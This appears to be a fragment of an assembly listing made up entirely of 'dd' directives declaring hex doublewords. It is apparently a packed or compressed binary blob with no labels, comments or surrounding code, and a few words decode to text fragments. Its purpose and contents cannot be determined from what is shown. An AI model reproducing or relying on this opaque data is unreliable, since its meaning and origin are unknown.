dd 0E9D249ECh, 3092111Ch, 0C13B0260h, 0FF41EA8Fh, 618183D1h
dd 503E9h, 0F6F1817Fh, 799589B4h, 9220B69h, 3B4F9836h
dd 5F9F0068h, 55DA7197h, 66005275h, 314EE7CDh, 993C17CBh
dd 1FD4F9ABh, 0A25ED4C8h, 35EF02ACh, 136CA42Ch, 68151E43h
dd 0D29C04C0h, 8EBD5500h, 0F08318A6h, 0D8B102AAh, 3F687EEEh
dd 0E80AC98Eh, 0E1354089h, 0C90EADBCh, 675F0422h, 0B360FECAh
dd 1DDC3631h, 0C1BF9ECFh, 5A40D953h, 4EA526Ah, 0C6978329h
dd 0F51826C5h, 0BDD51506h, 3585090Ch, 81F1E90Dh, 639BAB31h
dd 6420B139h, 482090C0h, 17FCCB1Fh, 0B6E0A8Ch, 12A16B9Ch
dd 8B76435Ah, 7CAEDDBDh, 0A0956CFh, 58BC9D29h, 8C15EC0Bh
dd 8B89AC14h, 4B3134CFh, 19C8588Eh, 8905CFC0h, 0E88DE252h
dd 14A528BDh, 0CAF38329h, 53319121h, 0C3725B18h, 415C892Eh
dd 1534370h, 2FEAAC3h, 0D0F7C780h, 9090567Fh, 0CD59EA09h
dd 0C7F2B25Ah, 60164471h, 1ED4B76h, 0DABA6050h, 4765D330h
dd 911334C1h, 30016ACDh, 196F811Ch, 0F6002CDh, 80064489h
dd 820D29A6h, 4FF98305h, 0D7AD61ACh, 10ADEC41h, 0F3FF6880h
dd 13665F20h, 2CD21ABAh, 0E88937C6h, 0AC00A532h, 0B6CD4F7Fh
dd 0CF006957h, 0DA2D9145h, 0A059C799h, 80F9B784h, 4DA4800Fh
dd 0C424E120h, 52651C4h, 111425E9h, 0D2042C31h, 0E847584Eh
dd 0D123C00Dh, 978FDAD3h, 623C6100h, 284ABAE0h, 205098BDh
dd 5A31033Dh, 312FD050h, 62129D5h, 30A0BC2h, 0F08A4268h
dd 3346AE41h, 301CF2E6h, 1A00C1E6h, 0CCFBAFFh, 1AFC4EA7h
dd 737D9529h, 0D2EC891h, 16883D4Bh, 6426C0C0h, 0AB8848BFh
dd 72E9090Dh, 91F20121h, 160C051Ah, 94E9CF5Eh, 135F808Fh
dd 55A28302h, 583B8D00h, 37BFF599h, 0DBE28B4h, 5C36D48Ah
dd 8C18F8h, 2820BA96h, 1960B953h, 0AD036728h, 0F702A929h
dd 8812C90Ah, 4A76F1CEh, 8515AF8Fh, 19BDC264h, 106A0009h
dd 3C24E680h, 52292D0Fh, 3E554164h, 24A83C8h, 9082508h
dd 8E9F36E9h, 0FE861691h, 9522A0E4h, 0F5ACC4B5h, 0C5C8A0Fh
dd 77E99D01h, 810F2A50h, 4D95106Fh, 8D890405h, 508A1039h
dd 0CE28E858h, 965279A4h, 1B4676E9h, 0BB2D7800h, 9BEFCB69h
dd 0BF661705h, 0C524902Ah, 4A98BF37h, 9550925h, 29092B14h
dd 912279B5h, 0D7E8A4h, 53036833h, 0B3F489DFh, 23FAC300h
dd 4995EE71h, 0CA6B04E9h, 0C148F7ADh, 40D4D03h, 0B5317DD0h
dd 0A50F92D1h, 5C032646h, 0F8001D46h, 6CDA9E1Fh, 0A22CE8DFh
dd 9509983Ch, 64182975h, 0FECC3906h, 4719903h, 2AF7A6E4h
dd 64A11B7h, 25298501h, 0C9AB9936h, 17117697h, 8768D381h
dd 247349C6h, 9DC82EF0h, 0C5B5800Ch, 7E21B031h, 40C8F902h
dd 4E753C62h, 4CD150ABh, 0F92F992Bh, 46181Dh, 687FAFBEh
dd 0A4C69E73h, 39F5F150h, 0B0482B42h, 68401D3Bh, 67E18070h
dd 752EA0D5h, 0A31A04DDh, 8E036A07h, 0C718886Ch, 703DC16Bh
dd 59C020D2h, 0CDFC2640h, 63AE294Eh, 0BD010400h, 0A8B42281h
dd 4D6864F9h, 0F5C687C0h, 0D6108825h, 1155838Ah, 0BA194C08h
dd 14658A7Ah, 176018E4h, 2705C633h, 0FFF8832Bh, 4BEDB04h
dd 9490AE12h, 716A58h, 4733C637h, 63FC1642h, 4485FF12h
dd 94B2714h, 6A351DB5h, 20C041Bh, 3C184C1h, 37870B2Dh
dd 4143D07Dh, 7B1EC23Ch, 1000BEFh, 0E17498AFh, 9B77264Dh
dd 243B075Bh, 8BE90F5Bh, 7E94410h, 0BAF50BC0h, 379DA8Dh
dd 0D0FFD973h, 3810CAB1h, 86581E8Eh, 0FEA1E20Dh, 5FD301Eh
dd 0BA406089h, 120361F7h, 940CB18Dh, 9DBE0BB7h, 124766A9h
dd 217FD8C4h, 0F71D7AD8h, 12801511h, 0CDB58992h, 60763155h
dd 51821D44h, 9FF241Bh, 4D460A0Dh, 19C486A5h, 0D9259B60h
dd 0F2E2D114h, 798534AAh, 5328DDF3h, 59FB24C3h, 959D86E8h
dd 31942623h, 11211D69h, 68C0801Ch, 0CF970EAh, 0B3A6CB3Ah
dd 164C55EEh, 3596999Fh, 2B287965h, 83F181C0h, 1D4A62C9h
dd 833A4724h, 8A071A23h, 12C1D225h, 1372B3D7h, 939F3FC9h
dd 22801A91h, 110F9B47h, 0C48C8532h, 0CC574A35h, 5C235C3Bh
dd 92962C20h, 410BB748h, 80119426h, 811BA58Bh, 65FF6650h
dd 0C195151Ah, 0F8010298h, 0CD2058E5h, 8EE256A2h, 0B3C7EF07h
dd 0F9680245h, 2B348603h, 1A18621h, 8C8D6507h, 9D28B5FBh
dd 3C135310h, 797A16FCh, 497A81Ch, 0A150B673h, 30CFA4FEh
dd 41C6842Ch, 16A2419h, 66CB1651h, 3D202290h, 0C2810222h
dd 747A6025h, 54568A84h, 215C75A2h, 4216A521h, 9DD96A94h
dd 20FDC701h, 0F589812Dh, 3E441916h, 0B99D1431h, 0CBA5F724h
dd 0C01DC898h, 0E2BF461h, 9B3FD672h, 0B5A6E264h, 360AD845h
dd 143122E9h, 602F18ACh, 1D0220E8h, 88E149h, 0E6B1B0A1h
dd 0FFBF0F10h, 0B58B5A09h, 616AA05Dh, 558D3350h, 0E9239065h
dd 92313700h, 0E6C739F1h, 5C293E93h, 0B927F480h, 440C9Eh
dd 0F5F839A8h, 5EE56CC8h, 0C5D06909h, 684F322Eh, 9396EF02h
dd 0BF8B3D4Eh, 7CB9DB2Dh, 0A565EB8Dh, 3E604E42h, 0EA05CEBh
dd 88C3C94Ch, 57EA7940h, 0DB0582ADh, 0FCB37F40h, 0BD292920h
dd 0F044075h, 80328E48h, 0D91ADA81h, 34C498Ah, 0A76E97h
dd 7C0E7143h, 0ECC75A48h, 74E925F8h, 0F2D780DDh, 652489C8h
dd 90A79A2Ch, 499D29CEh, 61760A50h, 86A72362h, 0B9F4D103h
dd 2A5D850Ch, 0BAB8571Eh, 5F810971h, 0E9C82284h, 0E2E9D562h
dd 7DAA0007h, 0DFD97B44h, 12B1F8FFh, 4E5CB58Dh, 0E5E429DFh
dd 9A5E880Eh, 527AA94Fh, 4E6ADF00h, 1ADBD0Bh, 0E904CB92h
dd 629259E6h, 241DF481h, 81D0EB9Fh, 0B0DEA1EAh, 5170A87Ch
dd 0F982D250h, 0F8E42E45h, 0E9F32D8Bh, 9233EDA0h, 123942ABh
dd 5BDE29B5h, 3BC18005h, 6507EBB2h, 80544438h, 4D13A069h
dd 737D0124h, 4082831Ah, 0A4231502h, 92EAF1F9h, 80CD6240h
dd 9EB17A5Ah, 0F943B924h, 0D9C81FD9h, 5F85F5Eh, 0F3CC1911h
dd 3018B2F5h, 0F60077F2h, 0BDB9AB80h, 9A66B370h, 83E570CEh
dd 0E323D8B1h, 53A493FCh, 12F58E18h, 0E589031Fh, 0EB5043D0h
dd 402006B0h, 63861704h, 0FE8A05Bh, 8A117F00h, 0A1530D14h
dd 6E840509h, 829030BCh, 0F60D8B9h, 5F58FC1Ah, 0ED122246h
dd 224352FAh, 0A17C06E8h, 3EBE4704h, 0C845F80h, 0ED503E0Bh
dd 0C66BC040h, 6A278BB2h, 2CCB0460h, 0F8AEE4E5h, 0A902F4F9h
dd 0A8F470AFh, 94486350h, 5341C852h, 1BE08900h, 8372A7D0h
dd 6C6268D2h, 14465C38h, 0A93C2C34h, 782B8AEh, 563873Bh
dd 68AE93C5h, 460B1882h, 20534B9Dh, 34C62E55h, 6483EC00h
dd 3D22D845h, 0B86F9A13h
dd 5E929625h, 6D031946h, 51E4950Bh, 0BE95309Dh, 2000AC9Ch
dd 3AA1322Ah, 9851E7A3h, 890AE690h, 817E88FCh, 65F91330h
dd 0E97204C1h, 48C1CA15h, 0F6CA2BAAh, 1920C528h, 1740FC1Dh
dd 444B518h, 6421E1AAh, 0E5FA5D82h, 0DC46961Ah, 3D1C3F98h
dd 299E832Eh, 0F98F5CC3h, 3B72990Fh, 2EDF0E61h, 118E598Fh
dd 5DBA0005h, 3D32AEDDh, 833AA08Ch, 1DDBA9Fh, 1AB5CCB9h
dd 0C223E975h, 9D8CE7E5h, 543D5B2Dh, 8A7E2198h, 1D9D7981h
dd 0B866000Ch, 6152274Dh, 8802071Ah, 0E9642E21h, 48A262DDh
dd 1D806AE9h, 0DBBF29CFh, 5FBA6F03h, 0B01B2D58h, 24A787Ah
dd 4D8FD781h, 197113E0h, 80B95CB2h, 0D1C9813Fh, 5066C3C0h
dd 92FDBD09h, 34D15A5Bh, 93EE4700h, 0AAEC7B1h, 71642F74h
dd 1F2E1280h, 0E0A4C755h, 3F9839ACh, 35E2B175h, 0A0362D00h
dd 7CBD2366h, 761E1201h, 0F5FA0CFBh, 594B5F85h, 0C8BA06C0h
dd 0C6E2877Ah, 0C6083F0Bh, 20C45C0Bh, 162D0Dh, 0EDBF601Ah
dd 1A58A981h, 165E7677h, 4C0F949h, 805D0329h, 89BFFFB7h
dd 6C4FE74Dh, 37294523h, 990CC723h, 0F08A7430h, 80F3FC97h
dd 3A6B360h, 0BFE7E18Dh, 8A31A469h, 2086C966h, 64CB2675h
dd 99E4601h, 0FFE97AB6h, 563BEE94h, 3C058BF8h, 0B2E0B326h
dd 5F46808Ch, 0B8F1BDE9h, 5EE394B7h, 4C051746h, 17A8203Ah
dd 7E016E8Eh, 9DEFBD02h, 628609E3h, 88149F1Dh, 21FC07DDh
dd 817007DDh, 0D8513AF7h, 0E665798h, 84C002A0h, 0E9C9DD80h
dd 4ABDF117h, 1ECCD624h, 2972644h, 860FA8B6h, 0E84CFDE4h
dd 0CF2480C4h, 0A1CE56h, 669F797Eh, 298D3370h, 96326199h
dd 84BB6A3Ch, 28E0C9C9h, 214F4BE9h, 8E05D5FAh, 184C85B9h
dd 4F2812Eh, 4EB22154h, 45C8240h, 820AC82Ah, 374B2E5Ah
dd 0C968181h, 389AB1FCh, 1302201Ah, 81259529h, 0BC346A08h
dd 1207A796h, 0C73B13CBh, 0A13BC1E6h, 0FB30076Fh, 0AD016068h
dd 0C3F6DB8Ch, 347B0448h, 4CBC1902h, 526856C0h, 9C47A8B8h
dd 0EE046A85h, 64DD46F5h, 85D081BEh, 2D108AAFh, 9B086847h
dd 0F3EC18ACh, 0F08B0414h, 684F801Eh, 0F72F2661h, 0E348101h
dd 0C1AB3650h, 286A537Dh, 85188556h, 753075C0h, 15986841h
dd 2ADB8764h, 0C842D0A6h, 0A4684CC1h, 5A80C9E7h, 42644C20h
dd 5B757E88h, 0B4155D94h, 15AC7054h, 4B03C727h, 0C43B092h
dd 260FD902h, 205225F5h, 1146998Ah, 0D0026A2Ah, 0B5CA3453h
dd 21174A91h, 6845406Dh, 0A520F797h, 9312192h, 0D50267CCh
dd 75852E0Ch, 0C0663632h, 0A94EA1D1h, 0A4620C19h, 98463469h
dd 75A2F863h, 292A0438h, 122AC5BDh, 0A13D2582h, 35FF6495h
dd 0C1FC4843h, 9E732589h, 10C9B710h, 44C82309h, 0A4BEB28Bh
dd 501312ADh, 803E2821h, 1708C889h, 8B9297D3h, 0E90B03E2h
dd 0F84701D6h, 77601564h, 0DB293369h, 0BC07ACE8h, 0E3B0634Bh
dd 1FE41F5h, 86D014EFh, 34D5BD89h, 33585F09h, 1B8F11BBh
dd 0E30CC84Bh, 0D3055900h, 69CE2E0Eh, 8A680060h, 5E01BC15h
dd 0AC04AA6Dh, 5A62EA80h, 73F81C0h, 8F64160Bh, 0C4E58805h
dd 0A3E80427h, 90D64EE3h, 5844E472h, 512EBD40h, 709D4967h
dd 0B4801411h, 0FB83D18Ah, 84220EB8h, 0C2810011h, 15919A34h
dd 0AEA81EE9h, 4D498D29h, 944F7B16h, 97FA6723h, 0F08F65E6h
dd 1924764Ch, 27A481C7h, 83039EFFh, 415B899h, 8BC3A041h
dd 550CCE40h, 5D7EA0E8h, 97ED2481h, 838B8A3Eh, 204A281Bh
dd 53E93989h, 4F4F5D0Ch, 0C48086DBh, 80364DE6h, 25C1EB1Eh
dd 91CD97E5h, 0C426801Ah, 7975B464h, 0D8BA09Bh, 4806BC21h
dd 59243E68h, 84E449A6h, 7F001DF2h, 0DC0E11B6h, 793227E7h
dd 0DF1F02FCh, 79D5EFE5h, 83A0B74Eh, 9801A89h, 0D0AD55BDh
dd 0A238C25Dh, 0F598E680h, 173AC968h, 0E8F2801Ah, 5EC5C0BFh
dd 404E9809h, 4B9B906h, 0D704B800h, 5C054855h, 0D002E64h
dd 85D465BBh, 401CBA86h, 8C3E34B6h, 0C5FE8EAh, 2FBEEEDh
dd 564D5868h, 0AD600A75h, 9A9F1B0Dh, 0E779C56h, 0AE24DF81h
dd 95891560h, 0DE9E0D45h, 0D3C1609Fh, 51315018h, 0D27C202Ah
dd 0FD00FEDFh, 7D100B82h, 72FFA2h, 2CC5DECBh, 2F43BDC8h
dd 0FCDE615Ch, 1004423Dh, 0A18830C1h, 820875Eh, 0D1C9B442h
dd 0C1B000EEh, 0CD2D423Ch, 0CA12E3B8h, 0B490046Dh, 0AB47E9C0h
dd 1C5B709Eh, 0DC392E31h, 70012B30h, 63007845h, 69747065h
dd 73206E6Fh, 14667649h, 0C616D72h, 6C501E70h, 0C4735C65h
dd 0F63202Ch, 0F8793D74h, 0F1FB68EAh, 0F166F173h, 9F72F577h
dd 761F6412h, 705E6C9Fh, 0CC73BD7Dh, 1D3468BCh, 636C76B3h
dd 676E1C26h, 73406763h, 0E354BA2Eh, 0EB6BEB5Eh, 0D975EB79h
dd 4BF0D0Ah, 281901D3h, 81738070h, 5254436Eh, 0FED72B4Ch
dd 6978CAEBh, 64B63C46h, 8AE9187Ah, 879707Bh, 2F696C8Fh
dd 64DAF862h, 636A229h, 84DF5642h, 0FE3DFEA6h, 1E98F325h
dd 6B63E843h, 0F4E492Ah, 4F086447h, 50E15455h, 88FE6F72h
dd 465B0F1Dh, 0F3410F3Bh, 873DB606h, 6F1E210Fh, 348E502Ah
dd 0B1E7718h, 0C4B0EE2Eh, 512012Dh, 0ACB2597Ah, 0B1C3848Dh
dd 3A35657h, 0B26995F7h, 3A2642E4h, 30198517h, 75260716h
dd 24D75116h, 65AC6761h, 10ED9667h, 34A225CFh, 0B2E9461Ch
dd 36231C40h, 0E4851B2h, 44595423h, 593D230Eh, 45230E38h
dd 210E3C59h, 0C30524Ch, 0E9801CF5h, 739395A2h, 22DC23BBh
dd 0CD0DA295h, 11851012h, 218896B1h, 0B712C24h, 6E4C1CF8h
dd 10958D2Fh, 0C1345281h, 0D4C34028h, 0F148603Bh, 0D16606F5h
dd 5522400Ch, 139D8B2Ah, 0A4CC32Fh, 11686596h, 0A82750C4h
dd 40085479h, 88589087h, 85C7944h, 0DC948A38h, 0AFB4DAFBh
dd 0CD056845h, 430C5A26h, 9038213Ch, 6440C844h, 2A303234h
dd 622A120Ah, 790621Ch, 145B1DB5h, 2409A7CBh, 2A28406Ah
dd 0E35B5A19h, 4C0125BCh, 59EBFA0Ah, 0E9A89B18h, 0A3020B2Dh
dd 8C245CADh, 0F6105FA7h, 0C2610C3Dh, 94E63404h, 14601983h
dd 15F60208h, 24CC4F68h, 0F8E930C3h, 2EB58B21h, 818E3E63h
dd 5BF083E6h, 0E8F22218h, 8127CEF2h, 3B44A1C6h, 398632B5h
dd 51E9860Fh, 0D87920ECh, 0CF602273h, 8C66506Fh, 32409C8h
dd 1B08C00Ah, 13892C2Ah, 85B988BBh, 934F120h, 0DB0A1886h
dd 2C673F08h, 32F6388Bh, 0CFC62404h, 81C1F52Bh, 1DE14108h
dd 0DDBB0719h, 70FEDC61h, 1C25C0C7h, 662AA353h, 15FCDB89h
dd 535B0209h, 0E84C09CAh, 43513882h, 89BBE008h, 0CBEF8353h
dd 1A03E380h, 4B3884C3h, 0C79D7617h, 0E616AD89h, 448B3739h
dd 229845E6h, 6AF89C5h, 0AF1C188Fh, 23199A92h, 5BBD9401h
dd 84A3C8A2h, 923E8060h, 0BB2031EAh, 0E3AB7A1h, 0B101B076h
dd 0ACAE8852h, 2C88A07h, 0D12032C3h, 640BAACBh, 430140D2h
dd 22C90A4Ah, 23DEE5D6h, 8011DD1Ah, 0D48B5210h, 0A7AE657h
dd 0E9C03308h, 80AA0721h, 0C28D0A3Fh, 0BCA15A5Fh, 0B9565153h
dd 64DB2D32h, 0AC7A77h, 81D3D1D8h, 465ABCC3h, 3EB0376Fh
dd 970B498Ch, 0C38B88E8h, 5B595E1Dh, 0C57B6014h, 2B1911E9h
dd 775A2AEAh, 0E747C020h, 0FA8DF21h, 4A8D81Ah, 93BAD93Ch
dd 280B50D3h, 8F2E6056h, 8221346Dh, 687CF64h, 8989C8BDh
dd 2F035138h, 408B6898h, 170505FCh, 899B46F3h, 14332124h
dd 4659FD3Ch, 3047EC1Eh, 0E9AE10C9h, 0DF69D187h, 72247648h
dd 0C7A004Dh, 45CAB2B8h
dd 3589A94Eh, 0E43006C0h, 46C801D1h, 820FF73Bh, 28D49F1h
dd 289708EAh, 97284CB2h, 51560428h, 4138453h, 980C4A2Ch
dd 2D503C67h, 4880AC9h, 13340198h, 0C3C1D832h, 5D1C2108h
dd 5B1C4067h, 37A25E59h, 405F9802h, 0E9686D11h, 880C878Ah
dd 0AF4431ADh, 90E8437h, 0FF80C8E8h, 38240070h, 0A7BE666Dh
dd 0F95C5AB4h, 6850173Fh, 0D6D0B4h, 0C02BDA7Ah, 34FFC88Bh
dd 35B103Eh, 8AD4DBEBh, 0F93E795Dh, 4D0F3E8h, 0F35ED3Ah
dd 80378980h, 4EE7C354h, 0C0536F89h, 0EEF8C756h, 24C048Fh
dd 978CC02Ah, 2485814h, 295AA2A6h, 47D1539Ch, 0DEE71D00h
dd 58FE4B09h, 0C85E0FB1h, 83075ED0h, 0BF6604E8h, 0F8815FD0h
dd 1E985934h, 0AD9F8515h, 5804C84Bh, 3FB57100h, 9C5DC6B9h
dd 63020084h, 64DBDAB1h, 2FE81287h, 2CE17F00h, 60AAEED5h
dd 27090091h, 0D8FC4029h, 8F032662h, 8BB210BDh, 0FEF3E8E4h
dd 9D6003A4h, 0F2C68D7Dh, 0E7495180h, 62DACF00h, 87FAF23h
dd 5D530A2h, 0EDF4A421h, 28973214h, 0CED8E120h, 86004B18h
dd 326D1ADh, 76075A4h, 0CFEB4057h, 31AF3028h, 0BA7E625Eh
dd 3D7FAA00h, 0DCB57BA0h, 0E487012Ah, 0AC2E24F5h, 0C9C01064h
dd 0D58101C3h, 0DDA8DE98h, 3008A0E0h, 0C3B1A106h, 76B84B56h
dd 0E1CF89CDh, 26B08542h, 3781E683h, 109FA69Eh, 3D12062Dh
dd 0E30921FFh, 83C32382h, 0BB22C426h, 0FD083068h, 239A4121h
dd 3C58D0E5h, 0BED68D02h, 2F478h, 69BD94F1h, 80A7E238h
dd 99A2A1D8h, 205BA3h, 86C81B4Fh, 1263CF03h, 4162500h
dd 0BAF3CEDCh, 0E80B600Fh, 1F522908h, 80F6D0CAh, 5AD200DCh
dd 0E31AD7F3h, 0D801C963h, 0D3031CD4h, 0A98FF2E1h, 8580BCA5h
dd 0FFAD2279h, 0CF401E60h, 76FB54Bh, 9A02975Fh, 6018FC78h
dd 0E739060Fh, 0C88E2009h, 0D03EA564h, 0DC002808h, 6716E730h
dd 620674A0h, 0DDD322E8h, 52600059h, 86922510h, 0D4009B15h
dd 2B4185C5h, 0C8AAEFE1h, 0C7C034E8h, 46D57FC3h, 1C622C8h
dd 2FC3AFA3h, 0D4FD10DFh, 2000D0D5h, 2A4E7E25h, 1680294h
dd 8D6AC0Fh, 0FB4FD3DFh, 17C2890Ah, 0B021E479h, 1818C8F1h
dd 0F2A0C001h, 0E178042Eh, 0E85178F3h, 0A7AA30B0h, 6206C411h
dd 144D3C00h, 0A425FF01h, 0C0C1E802h, 620E6621h, 0B25C7370h
dd 580105E0h, 0C440E388h, 0F6244FAFh, 0BB28A385h, 0A5C5F015h
dd 0DA25037Bh, 3057AC6Dh, 1AF7823h, 4D37620Bh, 88D9180Ch
dd 62121367h, 0DA004292h, 0F66C843Bh, 8564A08Bh, 91730FDh
dd 3FF70411h, 0FC1FD4FCh, 27C02824h, 881B33BBh, 0D42C904Fh
dd 0E23A429h, 0C7237E05h, 0A462CFC5h, 964520FAh, 2C005823h
dd 36DAD8ACh, 277A3E2h, 0A2655D3Eh, 0C47A8BEh, 1B80714Fh
dd 0F6C8ABD9h, 0C2F79D02h, 4B13E4D3h, 5E6C0354h, 7E385CF1h
dd 85B57AD0h, 0C9C434A5h, 95704D60h, 1006C707h, 3E00376Ch
dd 48BAD7F6h, 3424F0DAh, 468C20BCh, 237F0213h, 678089CAh
dd 97440730h, 9A132023h, 4A0A0A96h, 0B4202846h, 99029884h
dd 3C36CC98h, 26A108E7h, 0E72DE1C0h, 9011F88Ah, 3DCFEECh
dd 9C13C9E2h, 0E03ADB7Bh, 0DAA118D4h, 7FA0881h, 0C19259Fh
dd 19D2C6D5h, 28278412h, 0C35EA440h, 9822E453h, 12954614h
dd 8C0AE73Ah, 0EE444846h, 0E731E540h, 320278B0h, 82F35851h
dd 0D33C48C2h, 29EC63D8h, 7900EF3Dh, 24C1A20Fh, 0F233EAEh
dd 7A6D6632h, 3C6E5400h, 0F10021CBh, 0DD25294Bh, 589B58A2h
dd 0F31D8C1Fh, 18D8EA4Ch, 51047ACFh, 8C988523h, 1674D522h
dd 709F5539h, 97330774h, 0D2DA48C7h, 0E14D0238h, 0A8C1525Fh
dd 2745C479h, 0A30BEB70h, 143ACA94h, 0FBB41B8h, 34661120h
dd 0B1D3AD86h, 724D543Bh, 0FEDFC400h, 8BF0D802h, 40710027h
dd 1BCE7816h, 6706E48Ch, 55AFC47Ah, 4605039h, 7897503Dh
dd 25CF0296h, 0C76AC847h, 77C380C0h, 0CE118116h, 0B5E1DC40h
dd 0F862BB90h, 0D84F0D0Ah, 0E040F324h, 0DB018A0Ch, 0D94D16B6h
dd 28A0417Bh, 0D4112C98h, 490764B0h, 63488E23h, 3CD2D71h
dd 61758520h, 0BBE0A303h, 6C753689h, 2D4C800h, 0EA69478h
dd 7EFE0034h, 69619BD5h, 8C0B1CC7h, 0DC40F9h, 0F2331D10h
dd 8ED5038Ah, 7C314F04h, 51BC8935h, 3D29FB81h, 74233181h
dd 82C76D71h, 10514D80h, 9DBC874Eh, 0E4B9A5B3h, 0E61FE203h
dd 815C1804h, 9700C67Dh, 0F54A2CF8h, 0D1266B0Dh, 9401C969h
dd 308A5BF1h, 1EE8B223h, 81386297h, 189FC1AAh, 1729E0FBh
dd 423CCE2h, 9ACFAD70h, 1F7518B4h, 81BE1801h, 0AA948C50h
dd 29A72101h, 0B8062C03h, 92758040h, 60A1064Fh, 298FE9BDh
dd 35112D42h, 1FC622BAh, 8FFA0D32h, 0BFE0469Eh, 856F72E0h
dd 4BD2907h, 3B904FDAh, 66FAA1h, 7A1793A8h, 357FD1DFh
dd 0CA043800h, 0F0367009h, 0BAF72CD7h, 55720066h, 6D7C33AEh
dd 9FC2EF00h, 0ACDFF810h, 5430146Eh, 97A9480h, 0D33A19E0h
dd 0C7014280h, 130043D1h, 41CF86B4h, 0F4049FDBh, 0BB4403A4h
dd 0DFB1CBE8h, 0A01F3080h, 0FB020F7Ch, 625E2FBAh, 11506805h
dd 0AB100348h, 0D498B06Eh, 514BED80h, 7060E298h, 76266C19h
dd 9EA73C72h, 8B041781h, 0F04CF0C8h, 0CA006AECh, 84570EB6h
dd 2E70CF97h, 27ABF2h, 550C878Dh, 7C01A53Ah, 798C1949h
dd 90DBE9ADh, 72033D9h, 0B33F713Eh, 0A608B1B4h, 50E857B5h
dd 42962999h, 21568800h, 0F6A1A88Dh, 1B48301Ah, 0FFD39599h
dd 58F1ED00h, 683B3CAFh, 9298E7h, 86415071h, 0F9E022B8h
dd 0F05A0B14h, 80EA88ACh, 3D546B67h, 220E9CB7h, 0C6BF08h
dd 0F56D05A0h, 0B07042Ch, 0C512DD74h, 91E980C6h, 3D001CEDh
dd 4DF4ABD6h, 9203B3h, 393AAF44h, 0BDCB8D86h, 0BA785C1Ch
dd 8EB51640h, 0F1E82ADh, 15144A54h, 900C55E7h, 24FAE662h
dd 0F35E9400h, 5249809Bh, 149F00FCh, 516C48F4h, 1A70B4ABh
dd 65E7EF00h, 0B77153BFh, 0A0700BEh, 0F2110387h, 1C004581h
dd 82E57B2h, 0B8B07Ah, 0C388AAA7h, 1BEF4250h, 0F401D83Eh
dd 0F386BB00h, 9B517CDAh, 0E4CA0692h, 30A83125h, 2EC23D00h
dd 25E22A2h, 2783032Ch, 0BB9BB442h, 993D14A8h, 8D880A04h
dd 0B8913981h, 1DDCD33Ch, 0F9852EF5h, 0D9A600FAh, 0DAAE5C1Fh
dd 82757674h, 5400FE70h, 0F0627564h, 1E8CA4ACh, 0C340EFC5h
dd 0FE162DBBh, 2CEE81A0h, 9D5FD03Eh, 8F41CFECh, 0B2E343DCh
dd 40997892h, 3A4D6FF4h, 8600DBC4h, 0B31F7F75h, 6946AFh
dd 959A44FDh, 3A617B20h, 0D2E8A60Eh, 121FA058h, 78F1C2h
dd 0B0CA0A44h, 3783307Bh, 3243CE8h, 0F301C073h, 4FF02DBCh
dd 4A0F1028h, 50401220h, 5666CE93h, 0DA868E1Eh, 0E2964C41h
dd 44206338h, 2EF894h, 4F8A2907h, 98A2C1FEh, 49676800h
dd 9514B91Fh, 0EF5A0293h, 46634008h, 91DD9840h, 0DA8FE400h
dd 0F904D46Bh, 3F060BCDh, 9D564D78h, 95A92B01h, 0FCCC3510h
dd 2A48C3B6h, 400C4D49h, 808E40FDh, 8FA700B2h, 26AC4219h
dd 8D7C738Ch, 0EFFD7000h, 0C00F6762h, 823E001Fh, 1306464Bh
dd 0AE0083F0h, 0A13CBB9Fh, 0FE3356h, 5B976BADh, 557CF821h
dd 0CF53EE00h, 9C208F8Ch, 267E95h, 0A1516485h, 0FED21641h
dd 0EE08E400h, 0E1FBC115h, 5592001Dh, 0C3D19A75h, 1C9C73F1h
dd 0F342700h, 0F7E224h, 9BB74E55h, 646D8F21h, 4CFDE500h
dd 6144B051h, 0E74900D7h, 0A4147583h, 5A00AE56h, 21460E37h
dd 7C6CF0h, 0FCD8629Ch
dd 0B03B1DAFh, 0F4776E00h, 57BA66E8h, 41B90E15h, 9352A3h
dd 23101C08h, 0DF0F7DE0h, 23AAF1E4h, 80146B16h, 1EFE4513h
dd 404FBB05h, 4B539E96h, 2100F3EBh, 2058D3BDh, 510AA1h
dd 0F62CA2BBh, 4E19C3CFh, 0C02BB101h, 4D3B37C4h, 0A60D447h
dd 0B7A466h, 6EC50717h, 5C469893h, 0BCE339h, 0AEA97BB8h
dd 0FCFE250h, 8004D85Eh, 0F326A700h, 631C4BD0h, 41C0DDD7h
dd 0F2971ECEh, 0B3700C8h, 0E0FC3BAFh, 0B201545Eh, 0C3F831AAh
dd 28804415h, 0F5C1551Bh, 98170F99h, 0DE135B5Dh, 2CE4B202h
dd 52084082h, 7C781A69h, 0B26312DAh, 970FAEB0h, 0CEEEDF00h
dd 9D4DE1DDh, 0CA66008Dh, 36F1E351h, 0B9000D6Eh, 2A92E4ECh
dd 25D97h, 0AC09CDD5h, 5BED8E8Ah, 66622900h, 0F6938C1Dh
dd 54420952h, 7903E098h, 0DF9096A3h, 53007AF2h, 2F9B8A4Eh
dd 1EAEE495h, 40A6BB29h, 5E55FBE3h, 77F613Fh, 24342024h
dd 38A36B02h, 5408C08Dh, 425E0019h, 3A3BEDBDh, 8ECFDA13h
dd 2980F07h, 63C10B8Ch, 8D1188BAh, 93F300B3h, 1484C8DDh
dd 0E7005E3Eh, 21FE1DF9h, 4C8685C5h, 0F40062CAh, 0C464E0D8h
dd 980990A4h, 687B29BCh, 1C84F2FCh, 0CBB5FE0Eh, 30A5F8AAh
dd 4063BCD4h, 0B10034EEh, 0B8C762DDh, 0E2767Fh, 0ECC9AFD2h
dd 5E496428h, 0F1732F01h, 9A350FE8h, 4086289Eh, 0FC8A0C60h
dd 5D26774Fh, 0E31E9071h, 3B2247C0h, 0B76966B5h, 0A854EC0h
dd 0C7B83400h, 0E954649Bh, 48477105h, 2603F8D8h, 4D18BCFFh
dd 89811688h, 6D07EC01h, 61390445h, 4C92C0h, 8354A242h
dd 0CA0C949Fh, 0CD0450F2h, 612EE15Fh, 0EAE720B0h, 18C90C2h
dd 56D6FD9Eh, 0E89D57EAh, 72078C91h, 3AA3D908h, 0FB303E70h
dd 0C7023CAEh, 170FA3Eh, 5895626Ch, 60DF8D9Eh, 6B267452h
dd 0DB00A876h, 4CEE04E4h, 20AD1252h, 77FE001Bh, 0C2FF3818h
dd 0BA020DE4h, 333D633Bh, 1770602Dh, 0E30B0586h, 0C0F8BD24h
dd 71D3524h, 0B31E641Ch, 6E17A440h, 60152BB4h, 408EE8C5h
dd 58009E3Eh, 48E1B618h, 0BB526Eh, 0A5811985h, 386499CAh
dd 191374Ch, 4080CD4Fh, 8051E0DAh, 9CF0E567h, 7D1E0093h
